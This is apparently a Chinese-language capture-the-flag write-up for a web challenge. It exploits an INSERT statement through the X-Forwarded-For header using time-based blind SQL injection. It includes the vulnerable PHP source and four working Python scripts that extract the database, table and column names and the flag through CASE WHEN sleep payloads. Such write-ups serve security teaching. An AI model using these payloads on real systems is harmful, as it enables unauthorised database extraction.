insert into 注入
题目分析
题目地址http://123.206.87.240:8002/web15/
首先题目中已经给出了php源码,先分析一下。我在原来的代码上做了一些修改,便于调试操作。
<?php
//隐藏报错信息
error_reporting(0);
// 函数功能获取用户的ip地址
function getIp()
{
// PHP使用$_SERVER['HTTP_X_FORWARDED_FOR']获取IP
// 当没用XFF头就用$_SERVER['REMOTE_ADDR'];获取IP。
$ip = '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
// ip过滤掉逗号,以逗号将内容分成数组
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
// 设置服务器ip,用户名,密码,数据库名
$host = "localhost";
$user = "";
$pass = "";
$db = "";
// 连接数据库,不然给出错误信息 mysql_connect()已经在php5.5版本以上修改为mysqli_connect()
$connect = mysqli_connect($host, $user, $pass) or die("Unable to connect");
// 选中数据库,不然给出错误信息 mysql_select_db()已经在php5.5版本以上修改为mysqli_select_db()
mysqli_select_db($connect, $db) or die("Unable to select database");
// 获取用户的ip
$ip = getIp();
// 输出用户的ip
echo 'your ip is :' . $ip;
// 构造sql语句
$sql = "insert into client_ip (ip) values ('$ip')";
// insert into client_ip (ip) values ('1') select * from 1#')
// 发送sql语句mysql_query()已经在php5.5版本以上修改为mysqli_query()
mysqli_query($connect, $sql);
?>
通过对于源代码的分析我们可以知道,会获取X-ForWarded-For
(XFF)请求头字段所记录的IP地址(可控),如果没有设置XFF头就会获取正在浏览当前页面用户的 IP 地址(不可控)。然后将该IP放入 client_ip表中的ip字段中。
既然这道题已经提示说是注入,那么这肯定是一道sql注入,唯一的切入点便是对XFF头中IP的设置,因为这个不像成绩单那道题一样能够显示查询结果,加之题目说写一个python脚本,我们尝试一下时间延迟盲注。
时间延迟盲注,是通过sleep()函数设置sql语句,之后通过响应的时间来判断查询内容。
举个栗子:
我们还是继续采用成绩单那个测试数据库来举例子。
新建一张测试表数据
create table test_student(
-> id int(4) not null primary key auto_increment ,
-> class char(20) not null);
先插入一条数据
insert into test_student(class) value(1001);
select * from test_student;
+----+-------+
| id | class |
+----+-------+
| 1 | 1001 |
+----+-------+
如何体现时间延迟,我们修改一下SQL语句
insert into test_student(class) value(1002 and sleep(5));
select * from test_student;
+----+-------+
| id | class |
+----+-------+
| 1 | 1001 |
| 2 | 0 |
+----+-------+
这条语句因为sleep(5)会延迟5秒注入 1002 and sleep(5) 逻辑判断值是0,所以插入的值为0
根据这个点我们可以构造出SQL语句,通过判断响应的时间来进行一系列的操作,我们要暴力得到数据库名,库中的表名,表中的字段名,字段中的内容。
先看一下源代码中的SQL语句
insert into client_ip (ip) values ('$ip')
怎么暴力库名,直接给出python的脚本(无论是暴库还是暴表还是暴字段内容,这都是一个框架,改变的只是SQL语句)
代码分析
暴历库名
源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的库名
database = ''
# 猜想库名长度不超过10
for i in range(1, 10):
# 每次选中一个字符参与暴历
for str1 in ch:
# 该语句用于暴历库名
sql="1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
# print(sql)
# 设置头部信息
header = {'X-ForWarded-For': sql}
try:
# 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
requests.get(url, headers=header, timeout=3)
except:
# 如果出现异常就记录该字符,说明该字符是所得的内容
database+=str1
break
# 输出(库名,表名,列名,内容)
print(database)
# 报出库名字web15
这段代码是暴历数据库的代码,我们先分析一下SQL注入语句
"1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
结合题目所给的SQL语句,得到完整的SQL语句
insert into client_ip (ip) values ('1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#')
这里的str(i) 和str1我们用首次遍历的值来代替
insert into client_ip (ip) values ('1' and (case when substr(database() from 1 for 1)=‘0’ then sleep(5) else 1 end))#')
case when …then …else…end语句
形成了完整的SQL语句,我们主要分析一下case (搜索函数)开始的部分
case
when <表达式语句1-1> then <表达式语句2-1>
when <表达式语句1-2> then <表达式语句2-2>
when <表达式语句1-3> then <表达式语句2-3>
…
else <表达式语句3-n>
end
其实这个和C语言的case很像,实际上这就是if …else if …else if …else语句,其实SQL语句里面也有if语句但是其中if语句的形式是if(exp1,exp2,exp3)【if(表达式, 表达式成立的值, 表达式不成立的值)】
但是源代码中explode(',', $ip)
对逗号进行过滤,所以会导致SQL语句的不完整,所以这里采用case when …then …else…end
substr()函数
database()函数会返回当前的数据库名称
substr(string,index,length),本来substr()字符串截取函数,应该是这样的从string字符串中,从第index个开始取length个字符构成字符串
比如substr(“Hello World”,1,3)便会得到Hel(这个函数的索引是从1开始的)
但是这里的都逗号会被过滤,所以我们不能用这样的格式去做,需要换一种方式
substr(string from index for length)效果和substr(string,index,length)一样
所以这条语句的意思就是,从database()返回的数据库名中依次取一个字符与字典中的字符比较,如果出现相等的情况,就延迟响应,延迟5秒(sleep(5)),requests.get(url, headers=header, timeout=3)
我们设置了响应时间至少的3秒,所以出现5秒的情况便是数据库名称中含有该字符,我们就将这个字符取出来,最后遍历出所有的字符,从而得到库名。
运行这段代码,所得到的的库名为web15
暴历表名
源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的表名
table = ''
# 猜想表名长度不超过20
for i in range(1, 20):
# 每次选中一个字符参与暴历
for str1 in ch:
# 该语句用于暴历表名
sql="1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
# print(sql)
# 设置头部信息
header = {'X-ForWarded-For': sql}
try:
# 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
requests.get(url, headers=header, timeout=3)
except:
table+=str1
break
# 输出表名
print(table)
# 爆出表名client_ipflag根据php的sql语句可以知道client_ip是其中的一张表 所以另一张表是flag
我们构造SQL语句
1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#
完整的SQL语句
insert into client_ip (ip) values(‘1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#
同样的我们只是关注case部分的代码(str(i) 和str1我们用首次遍历的值来代替)
(case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from 1 for 1)=’0‘ then sleep(5) else 1 end)
结构其实和暴历库名没有什么区别,关键是在于这一句,这句话能够获取当前库中所有的表名
select group_concat(table_name) from information_schema.tables where table_schema='web15'
在information_schema数据库中的 tables表中是存有所有数据库的名字和对应的表名,对应的字段名是 table_schema和table_name
information_schema.tables是绝对路径访问,选中的是information_schema库中tables表
具体可以看我以前的博客https://blog.csdn.net/realstarstarli/article/details/106754435(基于bugku web 成绩单的sql注入入门)
group_concat()函数
group_concat()函数能够将查询的内容形成一个字符串
举个栗子
show tables;
+--------------------+
| Tables_in_stu_info |
+--------------------+
| s_login |
| stu_gredes |
| t_login |
| test_student |
+--------------------+
我们测试库stu_info数据库有四张表,没有用group_concat()函数情况下
select table_name from information_schema.tables where table_schema='stu_info';
+--------------+
| table_name |
+--------------+
| s_login |
| stu_gredes |
| t_login |
| test_student |
+--------------+
4 rows in set (0.00 sec)
结果是4行的数据
用group_concat()函数
select group_concat(table_name) from information_schema.tables where table_schema='stu_info';
+-----------------------------------------+
| group_concat(table_name) |
+-----------------------------------------+
| s_login,stu_gredes,t_login,test_student |
+-----------------------------------------+
1 row in set (0.00 sec)
结果是一行数据
一行数据后所得一个字符串,和暴历库名一样暴历表名
爆出表名client_ipflag根据php的sql语句可以知道client_ip是其中的一张表 所以另一张表是flag(逗号会被过滤掉,原本应该是client_ip,flag应该也是可以观察出来的)
暴历字段名
源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的列名
coulmn = ''
# 猜想列名不超过20
for i in range(1, 20):
# 每次选中一个字符参与暴历
for str1 in ch:
# 该语句用于暴历列名
sql="1' and (case when substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
# print(sql)
# 设置头部信息
header = {'X-ForWarded-For': sql}
try:
# 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
requests.get(url, headers=header, timeout=3)
except:
# 如果出现异常就记录该字符,说明该字符是所得的内容
coulmn+=str1
break
# 输出列名
print(coulmn)
# 爆出列名flag
select group_concat(column_name) from information_schema.columns where table_name='flag'
在information_schema数据库中的columns表中是存有所有表的名字和对应的字段名,对应的字段名是 table_name和column_name
所以采用一样的方式暴历出列名, 爆出列名flag
暴历字段内容(获取flag)
源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
content = ''
# 猜想内容长度不超过40
for i in range(1, 40):
# 每次选中一个字符参与暴历
for str1 in ch:
# 该语句用于暴历内容
sql = "1'and (case when substr((select group_concat(flag) from flag) from " + \
str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
# print(sql)
# 设置头部信息
header = {'X-ForWarded-For': sql}
try:
# 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
requests.get(url, headers=header, timeout=3)
except:
# 如果出现异常就记录该字符,说明该字符是所得的内容
content += str1
break
# 输出内容
print(content)
# 爆出内容cdbf14c9551d5be5612f7bb5d2867853
所以flag:flag[cdbf14c9551d5be5612f7bb5d2867853]